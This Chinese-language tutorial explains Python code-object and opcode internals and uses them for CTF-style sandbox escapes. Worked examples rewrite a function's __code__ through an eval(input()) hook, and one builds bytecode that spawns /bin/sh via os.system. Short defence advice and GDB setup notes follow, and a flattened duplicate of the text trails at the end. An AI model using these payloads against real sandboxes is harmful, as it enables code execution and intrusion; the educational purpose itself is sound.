初探PythonOpcode逃逸
字数 2155 2025-08-24 16:48:16

Python Opcode逃逸技术深入解析

1. Python虚拟机执行环境基础

1.1 PyFrameObject结构

Python虚拟机的执行环境基于PyFrameObject栈帧,一个线程有一个栈帧链。栈帧结构如下:

struct _frame {
    PyObject_VAR_HEAD
    struct _frame *f_back;      /* 前一个栈帧 */
    PyCodeObject *f_code;       /* 代码段 */
    PyObject *f_builtins;       /* 内置符号表 */
    PyObject *f_globals;        /* 全局符号表 */
    PyObject *f_locals;         /* 局部符号表 */
    PyObject **f_valuestack;    /* 指向最后一个局部变量之后 */
    PyObject **f_stacktop;      /* 栈顶指针 */
    PyObject *f_trace;          /* 跟踪函数 */
    char f_trace_lines;         /* 是否发出每行跟踪事件 */
    char f_trace_opcodes;       /* 是否发出每个操作码跟踪事件 */
    PyObject *f_gen;            /* 生成器引用 */
    int f_lasti;                /* 最后调用的指令 */
    int f_lineno;               /* 当前行号 */
    int f_iblock;               /* f_blockstack中的索引 */
    char f_executing;           /* 栈帧是否仍在执行 */
    PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* try和loop块 */
    PyObject *f_localsplus[1];  /* 局部变量+栈,动态大小 */
};

1.2 PyCodeObject结构

Python中的代码对象结构如下:

print(dir((lambda: 0).__code__))
'''
['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', 
 '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', 
 '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', 
 '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', 
 '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 
 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 
 'co_kwonlyargcount', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 
 'co_posonlyargcount', 'co_stacksize', 'co_varnames', 'replace']
'''

CPython中的实现:

PyCodeObject *
PyCode_New(int argcount, int kwonlyargcount,
           int nlocals, int stacksize, int flags,
           PyObject *code, PyObject *consts, PyObject *names,
           PyObject *varnames, PyObject *freevars, PyObject *cellvars,
           PyObject *filename, PyObject *name, int firstlineno,
           PyObject *lnotab)

2. 代码对象属性详解

属性 描述
co_argcount 位置参数总数(包括仅位置参数和具有默认值的参数)
co_posonlyargcount 仅位置参数(包括具有默认值的参数)的数量
co_kwonlyargcount 仅关键字参数(包括具有默认值的参数)的数量
co_nlocals 函数使用的局部变量的数量(包括参数)
co_stacksize 所需的堆栈大小
co_flags 存放着函数的组合布尔标志位
co_code 二进制格式的字节码
co_consts 常量列表
co_names 字符串列表
co_varnames 包含局部变量名称的元组(以参数名称开头)
co_filename 代码文件名称
co_name 函数名称
co_firstlineno 函数的第一行号
co_lnotab 编码从字节码偏移量到行号的映射
co_freevars 包含自由变量名称的元组
co_cellvars 包含嵌套函数引用的局部变量的名称

3. 代码对象修改实战

3.1 基础示例

def a():
    if 1 == 2:
        print("flag{233}")

print("Opcode of a():", a.__code__.co_code.hex())
print("CONST of a():", a.__code__.co_consts)

# 构造新代码对象
def b():
    if 1 != 2:
        print("flag{233}")
    
code = b.__code__.co_code
newcode = type(a.__code__)
code = newcode(0, 0, 0, 0, 2, 67, code, (None, 1, 2, 'flag{0w0}'), 
              ('print',), (), "", "a", 1, b'\x00\x01\x08\x01')
a.__code__ = code
a()

3.2 闭包变量修改示例

def target(flag):
    def printflag():
        if flag == "":
            print(flag)
    return printflag

flag = target("flag{2333}")
eval(input(">"))
flag()

构造修改代码:

def a(flag):
    def printflag():
        if flag != "":
            print(flag)
    return printflag

target = a("xxx")
code = "flag.__code__=type(target.__code__)({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},'{}','{}',{},bytes.fromhex('{}'),{},{})\n".format(
    target.__code__.co_argcount,
    target.__code__.co_posonlyargcount,
    target.__code__.co_kwonlyargcount,
    target.__code__.co_nlocals,
    target.__code__.co_stacksize,
    target.__code__.co_flags,
    target.__code__.co_code.hex(),
    target.__code__.co_consts,
    target.__code__.co_names,
    target.__code__.co_varnames,
    target.__code__.co_filename,
    target.__code__.co_name,
    target.__code__.co_firstlineno,
    target.__code__.co_lnotab.hex(),
    target.__code__.co_freevars,
    target.__code__.co_cellvars)
print(code)

3.3 系统命令执行示例

def target():
    import os
    os.system("/bin/sh")

flag.__code__ = type(target.__code__)(
    0, 0, 0, 1, 3, 67, 
    bytes.fromhex('640164006c007d007c00a0016402a101010064005300'), 
    (None, 0, '/bin/sh'), 
    ('os', 'system'), 
    ('os',), 
    'newcode.py', 'target', 8, 
    bytes.fromhex('00010801'), 
    ('flag',), ())

4. Python Opcode详解

4.1 常用操作码

读写指令

指令名 操作
LOAD_GLOBAL 从co_names[namei]入栈
STORE_GLOBAL 出栈到co_names[namei]
LOAD_FAST 从co_varnames[var_num]入栈
STORE_FAST 出栈到co_varnames[var_num]
LOAD_CONST 从co_consts[consti]入栈

控制指令

指令名 操作
CALL_FUNCTION 函数调用,弹出所需参数,新栈帧,返回值压栈
RETURN_VALUE 函数返回,退出栈帧
POP_JUMP_IF_FALSE 当条件为假的时候跳转
JUMP_FORWARD 直接跳转

布尔运算

COMPARE_OP操作码对应关系:

cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in', 
          'is', 'is not', 'exception match', 'BAD')

4.2 字节码解析示例

from opcode import opmap
import dis

chr(opmap['LOAD_CONST'])  # 'd'
dis.dis('d')
'''
  1           0 LOAD_NAME                0 (d)
              2 RETURN_VALUE
'''

dis.dis(bytes.fromhex('880064016b037210740088008301010064005300'))
'''
          0 LOAD_DEREF               0 (0)
          2 LOAD_CONST               1 (1)
          4 COMPARE_OP               3 (!=)
          6 POP_JUMP_IF_FALSE       16
          8 LOAD_GLOBAL              0 (0)
         10 LOAD_DEREF               0 (0)
         12 CALL_FUNCTION            1
         14 POP_TOP
         16 LOAD_CONST               0 (0)
         18 RETURN_VALUE
'''

5. Python调试环境搭建

5.1 编译Debug版本Python

git clone https://github.com/python/cpython
cd cpython
sudo apt install build-essential
sudo apt install libssl-dev zlib1g-dev libncurses5-dev \
  libncursesw5-dev libreadline-dev libsqlite3-dev libgdbm-dev \
  libdb5.3-dev libbz2-dev libexpat1-dev liblzma-dev libffi-dev
./configure --with-pydebug
make -j2 -s

5.2 GDB调试Python

安装调试工具:

sudo apt-get install gdb python-dbg

调试方式:

  1. 交互式启动:
gdb python
(gdb) run <programname>.py <arguments>
  1. 快速启动:
gdb -ex r --args python <programname>.py <arguments>
  1. 附加到现有进程:
gdb python <pid of running process>
  1. 加载core文件:
gdb python core.PID

常用GDB命令:

  • py-bt - 当前位置的调用栈
  • py-down - 查看下层调用方的信息
  • py-locals - 查看变量的值
  • py-up - 查看上层调用方的信息
  • python-interactive
  • py-bt-full
  • py-list - 当前执行位置的源码
  • py-print
  • python

6. 安全应用与防御

6.1 攻击面

  1. 通过修改__code__对象可以:

    • 绕过条件判断
    • 访问闭包变量
    • 执行任意操作码
    • 绕过沙箱限制
  2. 潜在利用方式:

    • 构造恶意字节码执行系统命令
    • 绕过Python沙箱限制
    • 修改函数行为实现后门

6.2 防御措施

  1. 限制代码对象修改:

    • 监控__code__属性修改
    • 禁止动态代码修改
  2. 沙箱防护:

    • 限制危险操作码执行
    • 过滤危险模块导入
  3. 代码审计:

    • 检查eval/exec输入
    • 监控动态代码生成

7. 拓展资料

  1. Python开发指南: https://devguide.python.org/
  2. CPython源码指南: https://realpython.com/cpython-source-code-guide
  3. Python沙箱绕过: http://pbiernat.blogspot.com/2014/09/bypassing-python-sandbox-by-abusing.html
  4. PyCode与Frame详解: https://fanchao01.github.io/blog/2016/11/13/python-pycode_and_frame/
  5. GDB调试Python: https://wiki.python.org/moin/DebuggingWithGdb
  6. 更简单的Python调试: https://fedoraproject.org/wiki/Features/EasierPythonDebugging
Python Opcode逃逸技术深入解析 1. Python虚拟机执行环境基础 1.1 PyFrameObject结构 Python虚拟机的执行环境基于PyFrameObject栈帧,一个线程有一个栈帧链。栈帧结构如下: 1.2 PyCodeObject结构 Python中的代码对象结构如下: CPython中的实现: 2. 代码对象属性详解 | 属性 | 描述 | |------|------| | co_ argcount | 位置参数总数(包括仅位置参数和具有默认值的参数) | | co_ posonlyargcount | 仅位置参数(包括具有默认值的参数)的数量 | | co_ kwonlyargcount | 仅关键字参数(包括具有默认值的参数)的数量 | | co_ nlocals | 函数使用的局部变量的数量(包括参数) | | co_ stacksize | 所需的堆栈大小 | | co_ flags | 存放着函数的组合布尔标志位 | | co_ code | 二进制格式的字节码 | | co_ consts | 常量列表 | | co_ names | 字符串列表 | | co_ varnames | 包含局部变量名称的元组(以参数名称开头) | | co_ filename | 代码文件名称 | | co_ name | 函数名称 | | co_ firstlineno | 函数的第一行号 | | co_ lnotab | 编码从字节码偏移量到行号的映射 | | co_ freevars | 包含自由变量名称的元组 | | co_ cellvars | 包含嵌套函数引用的局部变量的名称 | 3. 代码对象修改实战 3.1 基础示例 3.2 闭包变量修改示例 构造修改代码: 3.3 系统命令执行示例 4. Python Opcode详解 4.1 常用操作码 读写指令 | 指令名 | 操作 | |--------|------| | LOAD_ GLOBAL | 从co_ names[ namei ]入栈 | | STORE_ GLOBAL | 出栈到co_ names[ namei ] | | LOAD_ FAST | 从co_ varnames[ var_ num ]入栈 | | STORE_ FAST | 出栈到co_ varnames[ var_ num ] | | LOAD_ CONST | 从co_ consts[ consti ]入栈 | 控制指令 | 指令名 | 操作 | |--------|------| | CALL_ FUNCTION | 函数调用,弹出所需参数,新栈帧,返回值压栈 | | RETURN_ VALUE | 函数返回,退出栈帧 | | POP_ JUMP_ IF_ FALSE | 当条件为假的时候跳转 | | JUMP_ FORWARD | 直接跳转 | 布尔运算 COMPARE_ OP操作码对应关系: 4.2 字节码解析示例 5. Python调试环境搭建 5.1 编译Debug版本Python 5.2 GDB调试Python 安装调试工具: 调试方式: 交互式启动: 快速启动: 附加到现有进程: 加载core文件: 常用GDB命令: py-bt - 当前位置的调用栈 py-down - 查看下层调用方的信息 py-locals - 查看变量的值 py-up - 查看上层调用方的信息 python-interactive py-bt-full py-list - 当前执行位置的源码 py-print python 6. 安全应用与防御 6.1 攻击面 通过修改 __code__ 对象可以: 绕过条件判断 访问闭包变量 执行任意操作码 绕过沙箱限制 潜在利用方式: 构造恶意字节码执行系统命令 绕过Python沙箱限制 修改函数行为实现后门 6.2 防御措施 限制代码对象修改: 监控 __code__ 属性修改 禁止动态代码修改 沙箱防护: 限制危险操作码执行 过滤危险模块导入 代码审计: 检查eval/exec输入 监控动态代码生成 7. 拓展资料 Python开发指南: https://devguide.python.org/ CPython源码指南: https://realpython.com/cpython-source-code-guide Python沙箱绕过: http://pbiernat.blogspot.com/2014/09/bypassing-python-sandbox-by-abusing.html PyCode与Frame详解: https://fanchao01.github.io/blog/2016/11/13/python-pycode_ and_ frame/ GDB调试Python: https://wiki.python.org/moin/DebuggingWithGdb 更简单的Python调试: https://fedoraproject.org/wiki/Features/EasierPythonDebugging